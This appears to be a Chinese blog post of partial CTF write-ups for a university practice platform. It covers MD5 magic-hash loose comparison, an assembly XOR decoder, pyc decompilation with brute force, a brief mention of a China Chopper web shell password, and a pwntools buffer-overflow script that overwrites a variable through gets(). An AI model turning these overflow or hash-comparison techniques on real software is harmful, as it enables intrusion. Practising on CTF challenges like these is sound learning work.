1. 程式人生 > >南郵ctf平臺部分題解

南郵ctf平臺部分題解

我沒思路,隊友說QNKCDZOMD5值是0E開頭的,於是秒懂,因為比較的是兩個串 但是可以解析成數字,也就是說,結果都是0.。。

於是去找md5值前兩位是0E的字串,一開始找到這個:


但放上去居然不對,提示我false,我就不理解了

之後又把QNKCDZOMD5值搜了一下,然後就找到了


思路很好

層層遞進

沒思路,小夥伴今天告訴我了 看原始碼之後,iframe奇怪!
那些屬性都是0,於是當然要點連結進去看看了,每次都點第一個iframe裡的連結
----------------------------------------------------------------------------------------------------------------------------

----------------------------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------------------------------------
----------------------------------------------------------------------------------------------------------------------------

---------------------------------------------------------------------------------------------------------------------------- 就到了這裡,完全被這個故事吸引了,而key還是沒找到。。 不得不說眼瞎了,小夥伴又告訴了我
這堆我看起來沒用的js。。 我已經不想說話了 綜合題2
連結在此 http://www.hazzel.cn/archives/10.html
貌似最後連菜刀有點錯誤,我測試不行,換了一下 密碼是 wtf ReadAsm2 彙編程式碼慢慢去看,理清思路,還是可以理解的 函式的輸入有兩個引數,一個數組,一個數字:28,陣列的長度是29,第一個是0,最後一個0x1c,是28 看完輸入就具體看看彙編程式碼吧 做了一些處理之後,跳轉,比較之後再跳回上面,這樣的結構很容易想到while迴圈,那一定是有一個迴圈變數和一個出口的, 大概看一下,發現迴圈變數就放在 [rbp-0x4] ,它每一次的值都會被加1,出口呢,就是比較的時候另外一個 [rbp-0x1c] 了 我們也應該知道那個陣列被放在哪裡了,就在  [rbp-0]~[rbp-0x1c] 這個範圍裡,[rbp-0x1c] 這個地方存的是0x1c,就是28 然後看看迴圈裡面幹了什麼事情, 前面就是取迴圈變數和陣列中的值, xor    edx,ecx   這句是關鍵,異或之後放到edx中
再之後會把異或之後的結果存在原來的數組裡 最後會輸出處理之後的陣列
理清思路,其實很簡單,就是把陣列跟迴圈變數異或之後輸出就可以了,下面上指令碼
# !python3
# coding:utf8

aa = [0x67,0x6e,0x62,0x63,0x7e,0x74,0x62,0x69,0x6d,0x55,0x6a,0x7f,0x60,0x51,0x66,0x63,0x4e,0x66,0x7b,0x71,0x4a,0x74,0x76,0x6b,0x70,0x79,0x66]


str1 = ""
for i in range(len(aa)):
	str1 += chr((i+1)^aa[i])

print(str1)
flag:flag{read_asm_is_the_basic} Py交易 找一個線上pyc反編譯網站:https://tool.lu/pyc/
反編譯出來寫一個解密函式
def de(message):
	message = message.decode("base64")
	s = ''
	for i in message:
		x = (ord(i)-32) ^ 32
		print(chr(x))
	return s
但是這樣出來結果不對:nctf{d3c0mpil1n9y}
有三個不可見字元,考慮一下爆破
import string

dic = string.printable[:-6]

for i1 in dic:
	for i2 in dic:
		for i3 in dic:
			str1 = "nctf{d3c0mpil1n9" + i1 + i2 + "y" + i3 + "}"
			if encode(str1) == correct:
				print(str1)
得到結果
flag:nctf{d3c0mpil1n9_PyC}
When Did You Born 思路就是利用gets函式覆蓋生日值,方法下載腳本里了,需要用到pwntools
# !python3
# coding:utf8

# 用IDA得到兩個變數的偏移,差值就是要填充的長度
# v5  輸入的名字  bp-20h
# v6  生日        bp-18h

from pwn import  *

#conn = remote("115.28.79.166",5555)
conn = process("./test") 

payload = 'a'*8 + p32(1926)    


conn.recvuntil("What\'s Your Birth?\n")
conn.sendline("11")

conn.recvuntil("What\'s Your Name?\n")
conn.sendline(payload)

conn.interactive()
應該是這樣的,環境掛了,改天看看flag是什麼

最後的話。。

往上面傳圖片是個累活。。

然後還剩:Vigenere

希望大神可以幫忙看看,給點思路。。